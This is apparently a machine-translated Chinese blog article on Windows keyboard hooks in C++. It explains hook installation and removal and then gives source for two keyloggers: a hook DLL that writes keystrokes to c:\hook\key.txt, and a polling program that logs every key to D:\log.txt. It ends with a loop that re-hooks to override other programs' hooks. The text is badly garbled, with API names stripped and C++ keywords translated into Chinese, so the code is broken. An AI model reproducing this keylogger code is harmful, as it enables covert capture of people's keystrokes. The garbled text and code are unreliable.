C++如何禁用全局键盘钩子或者程序钩子?
今天给大家分享一下c++键盘钩子的知识,同时也讲解一下键盘钩子c#。如果你碰巧解决了你现在面临的问题,别忘了关注这个网站,现在就开始!
如何使用键盘挂钩
I:设置挂钩
设置钩子是通过()的API函数。
原型:hhook (int id hook, lpfn,,dword )
:装载挂钩的类型。
Lpfn:钩子进程的入口地址。
HMod:应用程序的事件处理器。
装载挂钩的螺纹ID。
参数:
:
该参数可以是下列值:
、、WH_C *** 、、、、、、、、、、、、WH_SY *** 。
我不想一一解释这些参数,因为它们在MSDN有详细的解释。我只选择其中的几个用中文解释。
WH _键盘:一旦有敲击键盘的消息(键盘被按下,键盘弹出),会调用你的钩子函数,然后把这个消息放入应用程序的消息队列中。钩子函数可以改变和丢弃击键消息。
WH _鼠标:在每个鼠标消息被放入应用程序的消息队列之前,会调用你的钩子函数。钩子函数可以改变和丢弃鼠标消息。
:每次你的应用程序调用()或()从应用程序的消息队列中请求消息时,都会调用你的钩子函数。钩子函数可以改变并丢弃这个消息。
二:松开挂钩。
钩子的释放使用()函数。
原型: (h hook HHK)
钩子函数释放钩子链中函数加载的钩子进程。
Hhk:要释放的钩子进程的句柄。
三:挂钩过程
钩子子程使用函数。实际上,只是应用程序定义的一个符号。比如你可以写。但是参数是一样的。Win32 API提供的函数有:、、、C *** Proc、、、等。关于他们的详细解释,请参考MSDN。我只是解释一下在这里的意思。
原型:回调键盘钩子(int ncode, , )
说明:钩子进程是一个附加在钩子上的函数,所以钩子进程只被调用,不被应用程序调用,所以有时候需要作为回调函数使用。
参数描述:
NCode:钩子代码,钩子进程用它来决定是否执行。钩子代码的值取决于钩子的种类。每种挂钩类型都有自己的一套特征代码。比如对于WH _键盘,钩子代码的参数是:,。的含义:参数和包含击键消息的信息,的含义:参数和包含击键消息的信息,击键消息从不从消息队列中删除。(应用程序调用函数并设置标志)。也就是说,当nCode等于时,钩子子程必须处理消息。当它是时,钩子子程必须将消息传递给函数而不做进一步的处理,并且必须有函数的返回值。
:键盘敲击产生的键盘消息,键盘按键的虚拟代码。
:包含消息的细节。
注意:如果钩子进程中的nCode小于零,钩子进程必须返回 (ncode,,);钩子子程中的nCode大于零,但是钩子子程不处理消息。作者建议你调用,返回这个函数的返回值。否则,如果另一个应用程序也装载了WH键盘钩子,钩子将不接受钩子通知并返回一个不正确的值。如果钩子进程处理一个消息,它可能会返回一个非零值,以防止系统将消息传递给其他剩余的钩子或进程。所以更好在钩子子程的最后返回的返回值。
IV:调用下一个钩子函数
调用下一个钩子函数时使用函数。
原型: (hhook hhk,int ncode, , )
函数的作用是:将钩子信息传递给当前钩子链中的下一个钩子子程。钩子子程可以在钩子信息被处理之前或之后调用这个函数。为什么要使用这个功能已经在hook iii过程中的"注意事项"中详细解释过了。
Hhk:当前钩子的句柄
NCode:传递给挂钩进程的挂钩代码。
:传递给挂钩进程的值。
:传递给挂钩进程的值。
参数:
当前钩子的句柄。应用程序接受这个句柄作为先前调用函数的结果。
NCode:传递给钩子进程的钩子代码,下一个钩子进程用它来决定如何处理钩子信息。
WPRAM:传输到挂钩进程的WPRAM参数值。参数值的具体含义与当前钩子链的钩子类型有关。
:传输给钩子进程的参数值。参数值的具体含义与当前钩子链的钩子类型有关。
返回值:返回值是链中下一个钩子子程返回的值。当前钩子子程必须返回这个值。返回值的具体含义与钩子的钩子类型有关。具体请参考具体的hook流程描述。
构建动态链接库(DLL)
当我们熟悉了上面的函数,就开始写动态链接库(dll)吧。我这里用WIN32 DLL代替MFC DLL。而下面的程序都是用C语言写的。这主要是因为使用WIN32 API可以更细致更全面的控制程序的执行,而使用MFC,一些底层的控制是做不到的(当然MFC也可以只用于这个程序)。
1.建立动态链接库。Cpp文件。例如,我们现在创建一个名为.cpp的文件。
#包括.h
#包含“.h”
#包含“stdio.h”
hInst
# (" ")
HHOOK旧key hook = 0;
# ()
#注释(链接器,“/:,RWS”)
# dll " C " _ _ (dll )
回调(int nCode, , );
void安装挂钩(int nCode);
void结束钩(void);
BOOL dll main(h h ,ULONG What, )
{
切换(什么)
{
案例:
hInst =
打破;
案例:
打破;
案例:
打破;
案例:
打破;
}
返回1;
}
void (int nCode)
{
old key hook = (wh _ ,(),hInst,0);
}
回调(int nCode, , )。
{
j;
文件* fp
if()
{
j =
fp=fopen("c:\hook\key.txt "," a ");
(fp," %4d ",j);
(FP);
}
返回(,nCode,,);
}
空中心端钩(空中心)
{
(旧钥匙钩);
}
这个动态链接库的源代码.cpp包含了键盘处理函数,设置钩子,退出钩子函数。键盘敲出来的键作为值存储在c:.txt文件中。以下是对这份文件的详细解释。
要使用DLL中包含的函数,您必须导入它。导入操作通过完成,和都是vc( C++)和bc( C++)支持的扩展关键字。但是,和关键字不能单独使用,因此必须在它之前添加另一个扩展关键字。一般格式如下:()其中是存储类标识符。对于dll,说明符将是和。此外,为了简化描述导入和导出函数的语句,使用了一个宏名来代替。在这个程序中,使用了。如果你把用户的DLL编译成C++程序,希望C程序也可以用,那就需要加一个“C”连接描述。#定义dll导出 "c" _ _ (DLL )以避免破坏标准C++命名。当然,如果读者是在编译C程序,就不要加“C”了,因为没有必要,编译器不会接受。使用宏定义,您现在可以用一个简单的语句导出函数,例如:
回调(int nCode, , ); void安装挂钩(int nCode); void结束钩(void);
之一个#语句创建了一个数据段,此处命名为。其实你爱怎么叫都行。#语句之后的所有初始化变量都进入段。第二个#语句是数据段的结束标记。对变量进行特殊的初始化是非常重要的,否则编译器会把它们放在普通的未初始化段中,而不是中。
但是链接器必须等到有一个段。我们可以在项目设置(vc6.0)对话框中选择链接选项。选择时,它位于项目选项字段(在发布和调试配置中)中,并包含以下连接语句:/: Hook data,字母RWS表示该段具有读取、写入和共享属性。当然,也可以直接使用DLL源代码指定链接器,就像hook DLL . c:# (,"/: hook data,rws ")。
因为有些dll需要特殊的开始和停止代码。因此,所有DLL都有一个名为()的函数,该函数在DLL初始化或终止时被调用。这个函数一般在动态链接库的资源文件中定义。但是,如果没有定义,编译器将自动提供默认形式。
原型是 dll min(h h ,Ulong What, )。
参数:
:DLL实例句柄
什么:具体说明发生了什么。
未使用的:保留参数
其中的值可以是:
:进程开始使用DLL。
:进程正在释放DLL。
:进程创建了一个新线程。
:进程放弃了一个线程。
一般来说,无论何时调用()函数,都必须根据内容采取适当的动作。这个适当的操作什么也不做,但是它不返回非零值。
()的下一步是设置钩子,处理键盘并释放钩子。
2.创建一个头文件
就像应用程序使用的任何其他库函数一样,程序也必须在dll中包含函数的原型。所有程序都必须包含.h的原因,所以我们现在创建一个头文件.h如下:
# " C " _ _ ()
void安装挂钩(int nCode);
调用 (int nCode, , );
void (void);
主要是用来让代码更高效,所以推荐使用。但是导入数据时需要。完成上述程序后,构建一个项目,比如,然后将.c插入试点项目并编译,这样就可以生成.dll和.lib。
3.建立程序主文件
以上我们所做的一切工作都是为当前的主程序打下基础。事实上,当我们完成Dll文件时,剩下的就是调用set hook函数:。如果熟悉编程,必要时可以调用。但是现在你必须记住,当你退出程序的时候,你需要调整来释放你加载的钩子函数。现在我正在构建一个.cpp,将生成的.lib和.lib复制到一个目录中,构建一个项目。插入钩子间谍。CPP,挂钩dll dll,挂钩dll Lib和挂钩Dll。h输入项目。然后在创建窗口时设置钩子,退出程序时退出钩子函数。例如:
案例:
安装钩子(TRUE);
打破;
案例WM _ ://终止程序。
();
(0);
打破;
键盘记录器(键盘钩子)的C++实现
什么都不要说,先去源码。
#包括.h
#包含.h
#包含一个字符串
#包括
#包括
在命名空之间使用std
(int Key) //确定键盘按的是什么键。
{
字符串 =
//判断符号输入
const int按键掩码= 0x //键盘掩码常量
int是s hift = 状态(0x 10);//判断Shift键状态
bool IS =(IS shift按键掩码)= =按键掩码;//表示按下Shift键。
if(Key =186 Key =222)
{
开关(钥匙)
{
案例186:
如果(为)
= ":";
其他的
= ";";
打破;
案例187:
如果(为)
= "+";
其他的
= " =
打破;
案例188:
如果(为)
密钥串=
其他的
= ",";
打破;
案例189:
如果(为)
钥匙串= " _
其他的
= "-";
打破;
案例190:
如果(为)
密钥串=
其他的
= ",";
打破;
案例191:
如果(为)
= "?";
其他的
= "/";
打破;
案例192:
如果(为)
= "~
其他的
密钥串=
打破;
案例219:
如果(为)
= " {
其他的
= "[";
打破;
案例220:
如果(为)
= " |
其他的
= " \ \
打破;
案例221:
如果(为)
= " }
其他的
= "]";
打破;
案例222:
如果(为)
=
其他的
=
打破;
}
}
//判断键盘的之一行
If (Key == ) //退出
= "[Esc]";
Else if (Key == VK_F1) // F1到F12
= "[F1]";
else if (Key == VK_F2)
= "[F2]";
else if (Key == VK_F3)
= "[F3]";
else if (Key == VK_F4)
= "[F4]";
else if (Key == VK_F5)
= "[F5]";
else if (Key == VK_F6)
= "[F6]";
else if (Key == VK_F7)
= "[F7]";
else if (Key == VK_F8)
= "[F8]";
else if (Key == VK_F9)
= "[F9]";
else if (Key == )
= "[F10]";
else if (Key == )
= "[F11]";
else if (Key == )
= "[F12]";
Else if (Key == VK快照)//打印屏幕。
= "[PRS CrN]";
Else if (Key == VK滚动)//滚动锁定
= "[ Lock]";
Else if(Key = = VK _暂停)//暂停,中断
= "[Pause]";
Else if (Key == VK大写)//大写锁定
= "[Caps Lock]";
// - //
//控制键
Else if (Key == 8) //-退格键
= "[back space]";
Else if (Key == ) //回车键,换行。
= "[Enter]\ n ";
(key = = vk _ space)/空格
密钥串=
//Shift键:键盘录音时,不需要录音。单个班次不会有任何字符,
Shift键与其他键组合来输出字符。
/*
Else if (Key == ) //向左键移动。
= "[Shift]";
Else if (Key == ) //向右键移动。
= "[SHIFT]";
*/
/*如果只记录键盘输入的字母:下列键可能不会输出到文件*/
Else if (Key == ) // tab键
= "[Tab]";
Else if(Key = = VK控制)//左控制键
= "[Ctrl]";
Else if(Key = = VK遥控)//右控制键
= "[CTRL]";
Else if(Key = = VK菜单)//移动左键
= "[Alt]";
Else if(Key = = VK菜单)//向右移动键。
= "[ALT]";
Else if (Key == ) //右键
= "[Win]";
Else if (Key == ) //右窗口键
= "[WIN]";
Else if (Key == VK应用程序)//右击键盘。
= "右键单击";
Else if(Key = = VK _插入)//插入
= "[]";
Else if(Key = = VK _删除)//删除
= "[]";
Else if (Key == ) // Start
= "[Home]";
否则if (Key == ) // End。
= "[End]";
Else if (Key == ) //上一页
= "[PgUp]";
Else if (Key == ) //下一页
= "[pg down]";
//几个不常用的键:一般键盘没有。
Else if(Key = = VK _取消)//取消
= "[]";
Else if (Key == ) //清除
= "[Clear]";
Else if (Key == VK选择)//选择
= "[]";
Else if(Key = = VK _ PRINT)//打印
= "[Print]";
Else if(Key = = VK _ )//执行
= "[]";
// - //
Else if(Key = = VK _左)//上、下、左、右。
= "[←]";
Else if(Key = = VK _右)
= "[→]";
else if (Key == VK_UP)
= "[↑]";
Else if (Key == VK向下)
= "[↓]";
Else if(Key = = VK _数字锁)//键盘数字锁
= "[]";
Else if (Key == ) //加减乘除。
= "+";
else if (Key == VK_SU *** RACT)
= "-";
Else if (Key == VK乘法)
= " *
Else if(Key = = VK _除)
= "/";
else if(Key = = 190 | | Key = = 110)// .和一个键盘。
= ",";
//键盘数字键:0-9
else if (Key == )
= " 0
else if (Key == )
= " 1
else if (Key == )
= " 2
else if (Key == )
= " 3
else if (Key == )
= " 4
else if (Key == )
= " 5
else if (Key == )
= " 6
Else if(Key = = VK数字键盘7)
= " 7
Else if(Key = = VK数字键盘8)
= " 8
Else if(Key = = VK数字键盘9)
= " 9
// - //
// - //
//*判断字母大小写*//
Else if (Key =97 Key = 122) //字母:a-z
{
If(get (vk _ ))//大写锁定
{
If(IS) //Shift键:小写字母。
= Key
Else //仅大写锁定:输出大写字母。
密钥串= Key-32;
}
Else//大写不锁定。
{
如果(为)//按Shift键:大写字母。
密钥串= Key-32;
Else // Shift键未按下:小写字母
= Key
}
}
Else if (Key =48 Key = 57) //键盘号:0-9及以上。
{
如果(为)
{
开关(钥匙)
{
案例48: //0
= ")";
打破;
案例49://1
= "!";
打破;
案例50://2
= " @
打破;
案例51://3
= " #
打破;
案例52://4
= " $
打破;
案例53://5
= " %
打破;
案例54://6
key = " ^ ";
打破;
案例55://7
密钥串=
打破;
案例56://8
= " *
打破;
案例57://9
= "(";
打破;
}
}
其他的
= Key
}
如果(关键!= || Key!= VK _按钮)
{
If (Key =65 Key =90) //ASCII 65-90是a-z。
{
If(get (vk _ ))//大写锁定:输出A-Z
{
如果(是)//大写锁定,按shift键:输出小写字母。
密钥串= Key+32;
Else //仅大写锁定:输出是大写字母。
= Key
}
Else //大写不锁定:a-z
{
如果(为)
{
= Key
}
其他的
{
Key = Key+32;
= Key
}
}
}
}
返回密钥串
}
int main()
{
= " D:\ \ log。txt ";//倾倒的记录文本存储在D盘的log.txt目录下..
字符串临时字符串=
Cout“现在开始键盘录音”;
.open(.c_str(),STD::::out | STD::::app);
While(真)
{
睡眠(5);
for(int I = 8;i = 255i++)
{
if((i)1 ==1)
{
= (I);
.write(.c_str()、。size());
。close();
.open(.c_str(),STD::::out | STD::::app);
}
}
}
}
C++如何禁用全局键盘钩子或者程序钩子?
对于普通程序,一个双缓冲钩子就够了(相当于一个假顶钩子),代码如下:
HHOOK =空,m _ =空
m _ HHOOK 1 =(HHOOK)(WH _ _ LL,(),(L“HOOK”),0);HOOK成为你的模块名。
m _ HHOOK 2 =(HHOOK)(WH _ _ LL,(),(L“HOOK”),0);//同上
while (/**/true)
{
(m _ hhook 1);
m _ HHOOK 1 =(HHOOK)(WH _ _ LL,(),(L“HOOK”),0);//同上
(m _ hhook 2);
m _ HHOOK 2 =(HHOOK)(WH _ _ LL,(),(L“HOOK”),0);//同上
}
对于TX ***(无亲测)登录部分等异常程序,建议使用winio或其高级库进行驱动级拦截(无亲测)。
如果还是抓鸡,那就只能把那个程序往前推做手术了,这需要楼主有一定的汇编语言知识(我没练过,不能保证成功)。
我想用C语言写一个全局键盘钩子程序,成功后发100分!
全局键盘挂钩需要在dll中实现。
我认为你还不能写出dll是什么。
但是我有好消息告诉你。
Log hook可以在程序中实现全局键盘捕获:
VC代码:
#.h
HHOOK = NULL
回调(int code, , )
{
event msg * =(event msg *);
if(code==)
{
开关(-消息)
{
case ():
字节bkey state[256];
无符号短UAS CII[4];
UINT
内部资源
(bkey状态);
bkey state[VK _ SHIFT]= state(VK _ SHIFT);
us can code =(-param h16);
iRet=(-,,,,0);
开关(iRet)
{
案例0:
打破;
案例1:
if((char)u ascii[0]= = ' t ' |(char)u ascii[0]= = ' t ')//t按键。
{
(空,“t已按下”,“按键提示”,MB _ ok);
/* * * * * * * * * * * *实现自己播放音乐的功能* * * * * * * * * * * * * * * *
}
else if((char)u ascii[0]= ' y ' | |(char)u ascii[0]= = ' y ')//y键按下。
{
(空,“y按”,“按键提示”,MB _ ok);
/* * * * * * * * * * * *我是来实现停止播放音乐的功能的* * * * * * * * * *
}
打破;
默认值:
打破;
}
默认值:
打破;
}
}
返回(,code,,);
}
int (h实例h实例,
,
LPSTR ,
int
)
{
log hook = (WH _日志记录,,,NULL);
以及(1)睡眠(100);
返回0;
}
日志挂钩不稳定。
以上是c++键盘钩子和键盘钩子c#的介绍。不知道你有没有从中找到你需要的信息?如果你想了解更多这方面的内容,记得关注这个网站。